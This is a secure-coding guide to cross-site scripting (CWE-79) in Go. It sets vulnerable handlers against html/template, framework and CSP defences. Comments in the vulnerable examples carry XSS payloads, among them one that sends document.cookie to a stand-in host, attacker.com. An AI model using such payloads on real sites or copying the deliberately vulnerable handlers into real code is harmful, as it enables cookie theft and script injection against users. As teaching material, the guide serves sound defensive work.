Skip to content

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') - Go

Overview

Cross-Site Scripting (XSS) in Go web applications occurs when untrusted data is included in HTML output without context-aware encoding. Go's standard library escapes for you through the html/template package, which encodes content according to the context it lands in (HTML body, attributes, JavaScript, CSS, URLs). Developers can still defeat that protection by using text/template for HTML, manually constructing HTML strings, or disabling auto-escaping with template.HTML() type conversions.

Go has no global escaping switch. You choose explicitly between html/template (auto-escaping, XSS-safe) and text/template (no escaping, for plain text), which keeps the security intention visible in the code. The html/template package detects whether data is being inserted into HTML element content, attribute values, JavaScript strings, CSS, or URLs, and applies the appropriate escaping for each context. Used this way, it prevents both reflected and stored XSS.

The Go ecosystem includes several web frameworks (Gin, Echo, Fiber, Chi) that integrate with html/template or provide their own rendering engines. Most maintain safe-by-default behavior by wrapping html/template, but custom HTML construction, JSON responses rendered as HTML, or misuse of template features can introduce vulnerabilities, so it is worth knowing which rendering path in your stack escapes and which does not.

Primary Defence: Use html/template for all HTML rendering (it auto-escapes by default), serve JSON responses with application/json content type for APIs, and never use text/template or string concatenation for HTML output.

Common Vulnerable Patterns

text/template for HTML Output

// VULNERABLE - text/template does not escape HTML
package main

import (
    "net/http"
    "text/template" // WRONG: Use html/template instead
)

func greetHandler(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")

    // DANGEROUS: text/template does not escape
    tmpl := template.Must(template.New("greet").Parse(`
        <html>
            <body>
                <h1>Hello, {{.Name}}!</h1>
            </body>
        </html>
    `))

    w.Header().Set("Content-Type", "text/html")
    tmpl.Execute(w, map[string]string{"Name": name})
}

// Attack example:
// GET /greet?name=<script>alert(document.cookie)</script>
// Output: <h1>Hello, <script>alert(document.cookie)</script>!</h1>
// Result: JavaScript executes in browser

Why this is vulnerable: text/template is designed for plain text output (config files, emails, etc.) and performs no HTML escaping. All template actions ({{.Name}}) output raw values, allowing attackers to inject <script> tags, event handlers (<img onerror=...>), or other HTML that executes in the victim's browser. The server sets Content-Type: text/html, instructing browsers to interpret the output as HTML, enabling XSS attacks.

String Concatenation for HTML

// VULNERABLE - Manual HTML construction
func userProfileHandler(w http.ResponseWriter, r *http.Request) {
    username := r.URL.Query().Get("user")
    bio := r.URL.Query().Get("bio")

    // DANGEROUS: String concatenation with user input
    html := "<html><body>"
    html += "<h1>Profile: " + username + "</h1>"
    html += "<p>Bio: " + bio + "</p>"
    html += "</body></html>"

    w.Header().Set("Content-Type", "text/html")
    w.Write([]byte(html))
}

// Attack example:
// GET /profile?user=admin&bio=<img src=x onerror=alert('XSS')>
// Output: <p>Bio: <img src=x onerror=alert('XSS')></p>
// Result: Image error handler executes JavaScript

Why this is vulnerable: String concatenation merges user input directly into HTML structure without escaping <, >, ", ', or &. Attackers inject HTML tags, JavaScript event handlers, or malicious attributes that execute when rendered. String operations carry no awareness of HTML context, so nothing distinguishes a bio that is text from a bio that is markup.

template.HTML() Type Conversion

// VULNERABLE - Bypassing auto-escaping with template.HTML
import (
    "html/template"
    "net/http"
)

func commentHandler(w http.ResponseWriter, r *http.Request) {
    comment := r.URL.Query().Get("comment")

    // DANGEROUS: template.HTML marks string as safe, bypassing escaping
    tmpl := template.Must(template.New("comment").Parse(`
        <html><body>
            <div>{{.Comment}}</div>
        </body></html>
    `))

    data := map[string]interface{}{
        "Comment": template.HTML(comment), // Disables escaping!
    }

    w.Header().Set("Content-Type", "text/html")
    tmpl.Execute(w, data)
}

// Attack example:
// GET /comment?comment=<script>fetch('//attacker.com/steal?cookie='+document.cookie)</script>
// Result: Script executes, steals cookies

Why this is vulnerable: The template.HTML type signals to html/template that content is pre-sanitized and safe to render without escaping. When user input is converted to template.HTML, all auto-escaping is disabled, allowing injection of arbitrary HTML/JavaScript. This type should only be used for server-generated, trusted HTML (like from a sanitizer), never for user input. Similar unsafe types include template.JS, template.CSS, template.URL, and template.HTMLAttr.

fmt.Fprintf for HTML Output

// VULNERABLE - Using fmt for HTML generation
func searchHandler(w http.ResponseWriter, r *http.Request) {
    query := r.URL.Query().Get("q")

    // DANGEROUS: fmt.Fprintf writes unescaped content
    w.Header().Set("Content-Type", "text/html")
    fmt.Fprintf(w, "<html><body>")
    fmt.Fprintf(w, "<h1>Search Results for: %s</h1>", query)
    fmt.Fprintf(w, "<p>No results found.</p>")
    fmt.Fprintf(w, "</body></html>")
}

// Attack example:
// GET /search?q=<svg/onload=alert('XSS')>
// Output: <h1>Search Results for: <svg/onload=alert('XSS')></h1>
// Result: SVG onload event executes

Why this is vulnerable: fmt.Fprintf performs string formatting without HTML encoding, treating format specifiers (%s, %v) as plain text substitution. Special HTML characters (<, >, &, quotes) in user input become part of the HTML structure rather than text content, so a payload such as <svg/onload=alert('XSS')> lands as a tag rather than as the search term it was meant to echo back.

Secure Patterns

// SECURE - html/template auto-escapes in all contexts
package main

import (
    "html/template"
    "log"
    "net/http"
)

// Define templates with auto-escaping
var templates = template.Must(template.ParseGlob("templates/*.html"))

type PageData struct {
    Title   string
    Name    string
    Message string
    URL     string
}

func greetHandler(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")
    message := r.URL.Query().Get("message")

    data := PageData{
        Title:   "Greeting Page",
        Name:    name,
        Message: message,
    }

    // SECURE - html/template auto-escapes based on context
    err := templates.ExecuteTemplate(w, "greet.html", data)
    if err != nil {
        log.Printf("Template error: %v", err)
        http.Error(w, "Internal server error", http.StatusInternalServerError)
    }
}

// templates/greet.html:
/*
<!DOCTYPE html>
<html>
<head>
    <title>{{.Title}}</title>
</head>
<body>
    <!-- SECURE - Auto-escaped in HTML body -->
    <h1>Hello, {{.Name}}!</h1>

    <!-- SECURE - Auto-escaped in attribute -->
    <div id="msg-{{.Name}}" class="message">
        {{.Message}}
    </div>

    <!-- SECURE - Auto-escaped for JavaScript context -->
    <script>
        var userName = "{{.Name}}";  // Escaped for JS string
        console.log(userName);
    </script>
</body>
</html>
*/

Why this works: html/template automatically detects the context where data is inserted (HTML element, attribute value, JavaScript string, CSS, URL) and applies context-appropriate escaping. In HTML body, < becomes &lt;, preventing tag injection. In JavaScript strings, quotes and backslashes are escaped, preventing script injection. In attributes, quotes are escaped to prevent attribute breaking. The template engine parses HTML structure at parse time, making context detection reliable. This prevents both reflected and stored XSS with no additional code.

Context-Aware Escaping for All Contexts

// SECURE - html/template handles multiple contexts
import (
    "html/template"
    "net/http"
)

type FormData struct {
    SearchQuery string
    UserInput   string
    Redirect    string
    StyleColor  string
}

func formHandler(w http.ResponseWriter, r *http.Request) {
    data := FormData{
        SearchQuery: r.URL.Query().Get("q"),
        UserInput:   r.URL.Query().Get("input"),
        Redirect:    r.URL.Query().Get("redirect"),
        StyleColor:  r.URL.Query().Get("color"),
    }

    tmpl := template.Must(template.New("form").Parse(`
        <!DOCTYPE html>
        <html>
        <head>
            <title>Form Example</title>
            <style>
                /* SECURE - CSS context escaping */
                .custom { color: {{.StyleColor}}; }
            </style>
        </head>
        <body>
            <!-- SECURE - HTML body escaping -->
            <h1>Search: {{.SearchQuery}}</h1>

            <!-- SECURE - Attribute escaping -->
            <input type="text" value="{{.UserInput}}" placeholder="Enter text">

            <!-- SECURE - URL escaping -->
            <a href="/next?return={{.Redirect}}">Continue</a>

            <!-- SECURE - JavaScript context escaping -->
            <script>
                var query = "{{.SearchQuery}}";  // Escaped for JS
                var input = {{.UserInput | js}};  // Explicit JS escaping
            </script>
        </body>
        </html>
    `))

    tmpl.Execute(w, data)
}

Why this works: html/template tracks parsing state to determine context: HTML body contexts escape <>&"', attribute contexts additionally handle attribute delimiters, JavaScript strings escape quotes and backslashes while encoding newlines, CSS contexts restrict to safe characters, and URLs are percent-encoded. The | js pipeline explicitly requests JavaScript encoding if auto-detection needs override. Each context receives appropriate encoding, preventing injection regardless of where user data appears in the template.

Template Functions (Advanced)

// SECURE - Custom template functions with escaping
import (
    "html/template"
    "net/http"
)

func main() {
    funcMap := template.FuncMap{
        "safe": func(s string) template.HTML {
            // ONLY use after sanitization!
            return template.HTML(s)
        },
        "truncate": func(s string, length int) string {
            if len(s) > length {
                return s[:length] + "..."
            }
            return s
        },
    }

    tmpl := template.Must(template.New("custom").Funcs(funcMap).Parse(`
        <!DOCTYPE html>
        <html>
        <body>
            <!-- SECURE - Still auto-escaped before truncation -->
            <p>{{.Comment | truncate 100}}</p>

            <!-- SECURE - html/template auto-escapes for the script context -->
            <script>
                var path = "{{.Path}}";
            </script>
        </body>
        </html>
    `))

    http.HandleFunc("/custom", func(w http.ResponseWriter, r *http.Request) {
        data := map[string]string{
            "Comment": r.URL.Query().Get("comment"),
            "Path":    r.URL.Query().Get("path"),
        }
        tmpl.Execute(w, data)
    })

    http.ListenAndServe(":8080", nil)
}

Why this works: Custom template functions can transform data (like truncate) before html/template applies its own context-aware escaping to the pipeline's final output - you do not need to, and should not, write your own escaping function for a specific context such as escapeSlash for JavaScript strings. A hand-rolled partial escaper is easy to get wrong - one missed character or edge case is enough - and is unnecessary here because html/template already escapes {{.Path}} correctly for the <script> context it appears in. The safe function demonstrates the one legitimate case for a custom function that touches escaping: it should only wrap content that has already been through a proper HTML sanitizer (like bluemonday), never raw user input.

Standalone Encoding Functions (No Templating Framework)

// SECURE - Context-specific encoders for code that doesn't render an html/template
import (
    "fmt"
    "html/template"
    "net/http"
)

func searchHandler(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")
    query := r.URL.Query().Get("q")

    w.Header().Set("Content-Type", "text/html; charset=utf-8")

    // SECURE - HTML body/text context
    fmt.Fprintf(w, "<h1>Welcome %s!</h1>", template.HTMLEscapeString(name))

    // SECURE - JavaScript string context
    fmt.Fprintf(w, "<script>var user = '%s';</script>", template.JSEscapeString(name))

    // SECURE - URL query value, then HTML-escaped again once placed in an attribute
    href := "/search?q=" + template.URLQueryEscaper(query)
    fmt.Fprintf(w, `<a href="%s">Search</a>`, template.HTMLEscapeString(href))
}

Why this works: html/template exports the same escapers it uses internally, so code that builds HTML fragments outside of a parsed template (fmt.Fprintf, w.Write, building a string for an API that returns HTML, streaming partial responses) can still encode correctly for the context it is writing into: template.HTMLEscapeString for element/text content, template.JSEscapeString for JavaScript string literals, and template.URLQueryEscaper for a value going into a query string. Each converts the characters that let attacker input break out of that context (<, >, &, quotes for HTML; quotes, backslashes, and line terminators for JS) into safe escaped forms, so the substituted value can only ever be data, never markup or code.

These functions are context-specific, not universal - template.HTMLEscapeString is not safe inside a <script> block, and none of them are safe for a CSS value. html/template does not export a standalone attribute or CSS escaper (the internal attrEscaper and cssEscaper are unexported), so for those contexts - or whenever a value moves through more than one context - prefer letting html/template parse and escape the whole fragment rather than composing standalone calls by hand. Reach for these functions only for isolated, single-context substitutions where a full template is impractical.

Framework-Specific Guidance

Gin Framework

// SECURE - Gin with html/template rendering
package main

import (
    "html/template"
    "net/http"

    "github.com/gin-gonic/gin"
)

func main() {
    r := gin.Default()

    // SECURE - Load html/template templates
    r.SetHTMLTemplate(template.Must(template.ParseGlob("templates/*")))

    r.GET("/user/:name", userHandler)
    r.GET("/api/user/:name", apiHandler) // JSON endpoint

    r.Run(":8080")
}

func userHandler(c *gin.Context) {
    name := c.Param("name")
    bio := c.Query("bio")

    // SECURE - Gin uses html/template, auto-escapes
    c.HTML(http.StatusOK, "user.html", gin.H{
        "Name": name,
        "Bio":  bio,
    })
}

// SECURE - JSON responses for APIs (no XSS risk)
func apiHandler(c *gin.Context) {
    name := c.Param("name")

    // SECURE - JSON response with correct content-type
    c.JSON(http.StatusOK, gin.H{
        "name":    name,
        "message": "User data",
    })
}

// templates/user.html:
/*
<!DOCTYPE html>
<html>
<head>
    <title>User Profile</title>
</head>
<body>
    <!-- SECURE - Auto-escaped -->
    <h1>{{.Name}}</h1>
    <p>{{.Bio}}</p>
</body>
</html>
*/

Why this works: Gin's c.HTML() method uses html/template for rendering, inheriting its auto-escaping behavior. Template data passed via gin.H maps is automatically escaped based on context when rendered. For API endpoints, c.JSON() sets Content-Type: application/json, preventing browsers from interpreting response as HTML even if it contains <script> tags. Separating HTML rendering (for web pages) from JSON responses (for APIs) provides defense-in-depth.

Echo Framework

// SECURE - Echo with custom template renderer
package main

import (
    "html/template"
    "io"
    "net/http"

    "github.com/labstack/echo/v4"
    "github.com/labstack/echo/v4/middleware"
)

// Custom template renderer
type Template struct {
    templates *template.Template
}

func (t *Template) Render(w io.Writer, name string, data interface{}, c echo.Context) error {
    // SECURE - Uses html/template
    return t.templates.ExecuteTemplate(w, name, data)
}

func main() {
    e := echo.New()

    // Set custom renderer using html/template
    e.Renderer = &Template{
        templates: template.Must(template.ParseGlob("views/*.html")),
    }

    e.Use(middleware.Logger())
    e.Use(middleware.Recover())

    // Security headers middleware
    e.Use(func(next echo.HandlerFunc) echo.HandlerFunc {
        return func(c echo.Context) error {
            c.Response().Header().Set("X-Content-Type-Options", "nosniff")
            c.Response().Header().Set("X-Frame-Options", "DENY")
            c.Response().Header().Set("Content-Security-Policy", "default-src 'self'")
            return next(c)
        }
    })

    e.GET("/profile", profileHandler)

    e.Logger.Fatal(e.Start(":8080"))
}

func profileHandler(c echo.Context) error {
    username := c.QueryParam("user")

    // SECURE - Echo renders with html/template
    return c.Render(http.StatusOK, "profile.html", map[string]interface{}{
        "Username": username,
    })
}

Why this works: Echo's custom renderer integrates html/template, maintaining auto-escaping for all rendered content. The security headers middleware adds defense-in-depth: X-Content-Type-Options: nosniff prevents MIME sniffing that could turn JSON into HTML, X-Frame-Options prevents clickjacking, and Content-Security-Policy restricts script sources to same origin, mitigating XSS impact even if encoding fails.

Chi Router with Template Helpers

// SECURE - Chi with template helper utilities
package main

import (
    "html/template"
    "net/http"

    "github.com/go-chi/chi/v5"
    "github.com/go-chi/chi/v5/middleware"
)

var tmpl *template.Template

func init() {
    // SECURE - Parse html/templates with custom functions
    funcMap := template.FuncMap{
        "safeHTML": func(s string) template.HTML {
            // WARNING: Only use with sanitized input
            return template.HTML(s)
        },
    }

    tmpl = template.Must(template.New("").Funcs(funcMap).ParseGlob("templates/*.html"))
}

func main() {
    r := chi.NewRouter()

    r.Use(middleware.Logger)
    r.Use(middleware.Recoverer)
    r.Use(setSecurityHeaders)

    r.Get("/post/{postID}", viewPost)

    http.ListenAndServe(":8080", r)
}

func setSecurityHeaders(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        w.Header().Set("Content-Security-Policy", "default-src 'self'; script-src 'self'")
        w.Header().Set("X-Content-Type-Options", "nosniff")
        next.ServeHTTP(w, r)
    })
}

func viewPost(w http.ResponseWriter, r *http.Request) {
    postID := chi.URLParam(r, "postID")
    comment := r.URL.Query().Get("comment")

    // SECURE - html/template auto-escapes
    err := tmpl.ExecuteTemplate(w, "post.html", map[string]interface{}{
        "PostID":  postID,
        "Comment": comment,
    })

    if err != nil {
        http.Error(w, "Template error", http.StatusInternalServerError)
    }
}

Why this works: Chi's middleware pattern allows centralized security header application to all responses. The CSP header (script-src 'self') blocks inline scripts and external script sources, significantly reducing XSS impact even if template escaping is bypassed. X-Content-Type-Options: nosniff prevents browsers from guessing content types. (The older X-XSS-Protection header is deprecated and ignored by current browsers; CSP is the modern replacement.) Combined with html/template auto-escaping, this provides defense-in-depth.

Fiber Framework

// SECURE - Fiber with html/template engine
package main

import (
    "html/template"

    "github.com/gofiber/fiber/v2"
    "github.com/gofiber/template/html/v2"
)

func main() {
    // SECURE - Initialize Fiber with html/template engine
    engine := html.New("./views", ".html")

    app := fiber.New(fiber.Config{
        Views: engine,
    })

    // Security middleware
    app.Use(func(c *fiber.Ctx) error {
        c.Set("X-Content-Type-Options", "nosniff")
        c.Set("X-Frame-Options", "SAMEORIGIN")
        c.Set("Content-Security-Policy", "default-src 'self'")
        return c.Next()
    })

    app.Get("/", homeHandler)

    app.Listen(":8080")
}

func homeHandler(c *fiber.Ctx) error {
    username := c.Query("user")
    message := c.Query("msg")

    // SECURE - Fiber renders with html/template
    return c.Render("index", fiber.Map{
        "Username": username,
        "Message":  message,
    })
}

// views/index.html:
/*
<!DOCTYPE html>
<html>
<body>
    <!-- SECURE - Auto-escaped -->
    <h1>Welcome, {{.Username}}!</h1>
    <p>{{.Message}}</p>
</body>
</html>
*/

Why this works: Fiber's template/html package wraps Go's html/template, preserving auto-escaping while providing framework-specific conveniences. The c.Render() method passes data to templates where context-aware escaping is applied. Security headers are set globally via middleware for consistent protection across all routes. The framework handles response content types correctly, ensuring HTML templates render as HTML and JSON responses have appropriate headers.

Content Security Policy (Defense in Depth)

// SECURE - CSP middleware for additional XSS protection
package main

import (
    "html/template"
    "net/http"
)

func cspMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // Strict CSP policy
        csp := "default-src 'self'; " +
            "script-src 'self'; " +
            "style-src 'self' 'unsafe-inline'; " + // Consider using nonces
            "img-src 'self' data: https:; " +
            "font-src 'self'; " +
            "connect-src 'self'; " +
            "frame-ancestors 'none'; " +
            "base-uri 'self'; " +
            "form-action 'self'"

        w.Header().Set("Content-Security-Policy", csp)
        w.Header().Set("X-Content-Type-Options", "nosniff")
        w.Header().Set("X-Frame-Options", "DENY")
        w.Header().Set("Referrer-Policy", "strict-origin-when-cross-origin")

        next.ServeHTTP(w, r)
    })
}

func main() {
    mux := http.NewServeMux()

    mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        tmpl := template.Must(template.ParseFiles("index.html"))
        tmpl.Execute(w, nil)
    })

    // Wrap with CSP middleware
    http.ListenAndServe(":8080", cspMiddleware(mux))
}

Common Pitfalls

  • Using template.HTML(), template.JS(), template.URL(), or template.HTMLAttr() to silence an escaping problem instead of fixing the underlying data. These types tell html/template "trust this, do not escape it" - wrapping anything that still contains attacker-controlled content, even after a transformation, reopens the injection the auto-escaping exists to close.
  • Splitting a response across multiple fmt.Fprintf calls and separate template.Execute calls and assuming html/template's context-aware escaping still applies. Context detection only works within a single parsed template; a value that looks safe written in isolation can still land inside an unescaped attribute or script block if the surrounding markup was not part of the same parse.
  • Using text/template for an HTML response because it is the more familiar package, then relying on a downstream WAF or reverse proxy to catch injected script. text/template performs no escaping at all, and WAF pattern matching is routinely bypassed with encoding or obfuscation tricks that a real auto-escaping template package handles correctly.
  • Adding a CSP header and treating the html/template migration as optional. CSP reduces the impact of a successful script injection but does not stop injection into contexts that do not require script execution, such as an unescaped attribute that alters page behavior or a crafted href.

Additional Resources